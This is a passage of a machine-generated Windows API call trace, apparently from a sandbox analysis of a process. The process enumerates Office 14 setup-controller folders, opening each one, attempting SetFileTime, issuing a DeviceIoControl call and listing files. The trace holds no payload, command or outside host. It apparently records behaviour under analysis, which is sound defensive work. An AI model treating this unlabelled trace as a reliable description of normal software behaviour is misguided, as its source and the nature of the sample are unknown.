RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x9467c0 [0267.761] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x958f20 [0267.761] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0267.761] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x959130 [0267.761] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x118e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118e9e4) returned 0x549080 [0267.761] GetLastError () returned 0x12 [0267.761] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x118e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118e9e4) returned 0x5490c0 [0267.762] FindClose (in: hFindFile=0x549080 | out: hFindFile=0x549080) returned 1 [0267.762] GetLastError () returned 0x12 [0267.762] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x959130) returned 1 [0267.762] FindClose (in: hFindFile=0x5490c0 | out: hFindFile=0x5490c0) returned 1 [0267.762] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x959028) returned 1 [0267.762] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x958f20) returned 1 [0267.762] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us"), fInfoLevelId=0x0, lpFileInformation=0x118eb98 | out: lpFileInformation=0x118eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0267.781] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x194 [0267.781] SetFileTime (hFile=0x194, lpCreationTime=0x0, lpLastAccessTime=0x118ebdc, lpLastWriteTime=0x118ebdc) returned 0 [0267.781] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x4000) returned 0x95a478 [0267.781] DeviceIoControl (in: hDevice=0x194, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x95a478, nOutBufferSize=0x4000, lpBytesReturned=0x118ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x95a478, lpBytesReturned=0x118ec34, lpOverlapped=0x0) returned 0 [0267.782] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x95a478) returned 1 [0267.782] NtClose (Handle=0x194) returned 0x0 [0267.782] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x958f20) returned 1 [0267.782] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0267.782] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x9467c0 [0267.782] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x958f20 [0267.782] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0267.782] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x959028 [0267.782] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x118e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118e9e4) returned 0x5490c0 [0267.782] GetLastError () returned 0x12 [0267.782] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x118e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118e9e4) returned 0x549080 [0267.782] FindClose (in: hFindFile=0x5490c0 | out: hFindFile=0x5490c0) returned 1 [0267.782] GetLastError () returned 0x12 [0267.782] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x959028) returned 1 [0267.782] FindClose (in: hFindFile=0x549080 | out: hFindFile=0x549080) returned 1 [0267.783] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x959130) returned 1 [0267.783] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x958f20) returned 1 [0267.783] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us"), fInfoLevelId=0x0, lpFileInformation=0x118eb98 | out: lpFileInformation=0x118eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0267.878] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0267.878] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x118ebdc, lpLastWriteTime=0x118ebdc) returned 0 [0267.879] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x4000) returned 0x95a940 [0267.879] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x95a940, nOutBufferSize=0x4000, lpBytesReturned=0x118ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x95a940, lpBytesReturned=0x118ec34, lpOverlapped=0x0) returned 0 [0267.879] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x95a940) returned 1 [0267.879] NtClose (Handle=0x190) returned 0x0 [0267.879] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x958f20) returned 1 [0267.879] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0267.879] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x9467c0 [0267.879] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x958f20 [0267.879] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0267.879] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x959130 [0267.879] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x118e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118e9e4) returned 0x549080 [0267.879] GetLastError () returned 0x12 [0267.879] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x118e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118e9e4) returned 0x5490c0 [0267.879] FindClose (in: hFindFile=0x549080 | out: hFindFile=0x549080) returned 1 [0267.879] GetLastError () returned 0x12 [0267.880] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x959130) returned 1 [0267.880] FindClose (in: hFindFile=0x5490c0 | out: hFindFile=0x5490c0) returned 1 [0267.880] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x959028) returned 1 [0267.880] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x958f20) returned 1 [0267.880] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us"), fInfoLevelId=0x0, lpFileInformation=0x118eb98 | out: lpFileInformation=0x118eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0267.880] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x194 [0267.880] SetFileTime (hFile=0x194, lpCreationTime=0x0, lpLastAccessTime=0x118ebdc, lpLastWriteTime=0x118ebdc) returned 0 [0267.880] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x4000) returned 0x95a940 [0267.880] DeviceIoControl (in: hDevice=0x194, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x95a940, nOutBufferSize=0x4000, lpBytesReturned=0x118ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x95a940, lpBytesReturned=0x118ec34, lpOverlapped=0x0) returned 0 [0267.880] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x95a940) returned 1 [0267.880] NtClose (Handle=0x194) returned 0x0 [0267.881] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x958f20) returned 1 [0267.881] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0267.881] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x9467c0 [0267.881] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x958f20 [0267.881] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0267.881] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x959028 [0267.881] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x118e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118e9e4) returned 0x5490c0 [0267.918] GetLastError () returned 0x12 [0267.918] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x118e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118e9e4) returned 0x549080 [0267.918] FindClose (in: hFindFile=0x5490c0 | out: hFindFile=0x5490c0) returned 1 [0267.918] GetLastError () returned 0x12 [0267.919] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x959028) returned 1 [0267.919] FindClose (in: hFindFile=0x549080 | out: hFindFile=0x549080) returned 1 [0267.919] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x959130) returned 1 [0267.919] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x958f20) returned 1 [0267.919] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us"), fInfoLevelId=0x0, lpFileInformation=0x118eb98 | out: lpFileInformation=0x118eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0267.954] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0267.955] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x118ebdc, lpLastWriteTime=0x118ebdc) returned 0 [0267.955] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x4000) returned 0x95c940 [0267.955] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x95c940, nOutBufferSize=0x4000, lpBytesReturned=0x118ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x95c940, lpBytesReturned=0x118ec34, lpOverlapped=0x0) returned 0 [0267.955] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x95c940) returned 1 [0267.955] NtClose (Handle=0x190) returned 0x0 [0267.955] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x958f20) returned 1 [0267.955] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0267.955] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x9467c0 [0267.955] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x958f20 [0267.955] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0267.955] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x959130 [0267.955] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x118e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118e9e4) returned 0x549080 [0267.955] GetLastError () returned 0x12 [0267.955] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x118e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118e9e4) returned 0x5490c0 [0267.956] FindClose (in: hFindFile=0x549080 | out: hFindFile=0x549080) returned 1 [0267.956] GetLastError () returned 0x12 [0267.956] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x959130) returned 1 [0267.956] FindClose (in: hFindFile=0x5490c0 | out: hFindFile=0x5490c0) returned 1 [0267.956] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x959028) returned 1 [0267.956] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x958f20) returned 1 [0267.956] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww"), fInfoLevelId=0x0, lpFileInformation=0x118eb98 | out: lpFileInformation=0x118eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0267.960] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x194 [0267.960] SetFileTime (hFile=0x194, lpCreationTime=0x0, lpLastAccessTime=0x118ebdc, lpLastWriteTime=0x118ebdc) returned 0 [0267.960] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x4000) returned 0x95c940 [0267.960] DeviceIoControl (in: hDevice=0x194, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x95c940, nOutBufferSize=0x4000, lpBytesReturned=0x118ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x95c940, lpBytesReturned=0x118ec34, lpOverlapped=0x0) returned 0 [0267.960] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x95c940) returned 1 [0267.960] NtClose (Handle=0x194) returned 0x0 [0267.960] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x958f20) returned 1 [0267.960] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0267.960] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x9467c0 [0267.960] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x958f20 [0267.960] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0267.960] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x959028 [0267.960] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\*", fInfoLevelId=0x1, lpFindFileData=0x118e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118e9e4) returned 0x5490c0 [0267.960] GetLastError () returned 0x12 [0267.960] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\*", fInfoLevelId=0x1, lpFindFileData=0x118e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118e9e4) returned 0x549080 [0267.961] FindClose (in: hFindFile=0x5490c0 | out: hFindFile=0x5490c0) returned 1 [0267.961] GetLastError () returned 0x12 [0267.961] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x959028) returned 1 [0267.961] FindClose (in: hFindFile=0x549080 | out: hFindFile=0x549080) returned 1 [0267.961] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x959130) returned 1 [0267.961] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x958f20) returned 1 [0267.961] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us"), fInfoLevelId=0x0, lpFileInformation=0x118eb98 | out: lpFileInformation=0x118eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0268.010] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0268.011] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x118ebdc, lpLastWriteTime=0x118ebdc) returned 0 [0268.011] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x4000) returned 0x95c940 [0268.011] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x95c940, nOutBufferSize=0x4000, lpBytesReturned=0x118ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x95c940, lpBytesReturned=0x118ec34, lpOverlapped=0x0) returned 0 [0268.011] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x95c940) returned 1 [0268.011] NtClose (Handle=0x190) returned 0x0 [0268.011] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x958f20) returned 1 [0268.011] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.011] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x9467c0 [0268.011] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x958f20 [0268.011] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.011] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x959130 [0268.011] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x118e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118e9e4) returned 0x549080 [0268.011] GetLastError () returned 0x12 [0268.011] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x118e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118e9e4) returned 0x5490c0 [0268.012] FindClose (in: hFindFile=0x549080 | out: hFindFile=0x549080) returned 1 [0268.012] GetLastError () returned 0x12 [0268.012] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x959130) returned 1 [0268.012] FindClose (in: hFindFile=0x5490c0 | out: hFindFile=0x5490c0) returned 1 [0268.012] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x959028) returned 1 [0268.012] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x958f20) returned 1 [0268.012] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us"), fInfoLevelId=0x0, lpFileInformation=0x118eb98 | out: lpFileInformation=0x118eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0268.036] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x194 [0268.043] SetFileTime (hFile=0x194, lpCreationTime=0x0, lpLastAccessTime=0x118ebdc, lpLastWriteTime=0x118ebdc) returned 0 [0268.043] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x4000) returned 0x95c940 [0268.044] DeviceIoControl (in: hDevice=0x194, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x95c940, nOutBufferSize=0x4000, lpBytesReturned=0x118ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x95c940, lpBytesReturned=0x118ec34, lpOverlapped=0x0) returned 0 [0268.044] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x95c940) returned 1 [0268.045] NtClose (Handle=0x194) returned 0x0 [0268.067] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x958f20) returned 1 [0268.067] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.067] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x9467c0 [0268.067] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x958f20 [0268.067] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.067] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x959028 [0268.067] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x118e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118e9e4) returned 0x5490c0 [0268.067] FindNextFileW (in: hFindFile=0x5490c0, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.068] FindNextFileW (in: hFindFile=0x5490c0, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee827f20, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.XML", cAlternateFileName="")) returned 1 [0268.068] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.068] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.068] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.068] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.068] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.068] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x959130 [0268.068] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9467c0) returned 1 [0268.068] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x18) returned 0x95a130 [0268.068] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 